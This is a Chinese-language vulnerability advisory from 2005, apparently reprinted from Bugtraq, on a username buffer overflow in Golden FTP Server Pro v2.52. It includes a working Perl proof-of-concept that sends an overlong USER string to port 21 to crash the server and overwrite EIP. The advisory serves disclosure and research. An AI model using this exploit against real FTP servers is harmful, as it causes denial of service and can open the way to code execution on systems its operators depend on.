KMiNT21 Software Golden FTP Server Pro v2.52…

发布日期：2005-04-28
更新日期：2005-04-28

受影响系统：

KMiNT21 Golden FTP Server Pro v2.52

描述：

---

Golden FTP Server是一款非常易用的Windows平台FTP服务器。

如果向FTP服务器发送超长的用户名参数的话，就可能导致在完成USER/PASS登陆序列后覆盖EIP寄存器，这样管理员在浏览服务器统计时FTP就会崩溃或执行代码，具体取决于用户名的值。

<*来源：Reed Arvin （reedarvin@gmail.com）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111464565108186&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#===== Start GoldenFTPServer_Overflow.pl =====
#
# Usage: GoldenFTPServer_Overflow.pl <ip>
# GoldenFTPServer_Overflow.pl 127.0.0.1
#
# KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)
#
# Download:
# http://www.goldenftpserver.com/
#
##############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "21",
Proto => "TCP"))
{
print "Attempting to kill Golden FTP Server at $ARGV[0]:21...";

sleep(1);

print $socket "USER " . "A" x 332 . "BBBB\r\n";

sleep(1);

print $socket "PASS " . "\r\n";

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:21\n";
}
#===== End GoldenFTPServer_Overflow.pl =====

建议：

---

厂商补丁：

KMiNT21
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.goldenftpserver.com/

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有